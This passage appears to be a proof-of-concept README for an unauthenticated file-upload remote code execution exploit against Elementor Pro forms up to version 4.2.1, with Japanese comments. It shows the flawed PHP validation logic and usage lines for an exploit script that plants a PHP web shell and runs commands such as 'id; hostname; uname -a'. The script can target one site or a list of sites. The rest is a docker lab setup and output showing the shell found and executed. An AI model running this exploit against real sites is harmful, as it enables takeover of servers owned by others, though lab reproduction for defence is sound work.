// validation()
foreach ( $files[$id] as $index => $file ) {
    if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
        return;                    // <-- メソッド全体を中断
    }
    // is_file_type_valid() ...    // 2番目のエントリには到達しない
}

// process_field()
foreach ( $files[$id] as $index => $file ) {
    if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
        continue;                  // <-- このエントリのみスキップ
    }
    $filename = uniqid() . '.' . $file_extension;   // 攻撃者が制御する拡張子
    move_uploaded_file( $file['tmp_name'], $new_file );
}

python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup

python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup

python script.py --list sites.txt --command "id" --cleanup --out results.json

[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]

python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"

docker compose up -d
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# 合法的に入手したelementor-pro.zip（<= 4.2.1）をプロジェクトディレクトリに配置し、次に：
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

python script.py --url http://localhost:8090 --command "id; hostname" --cleanup

[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
    rm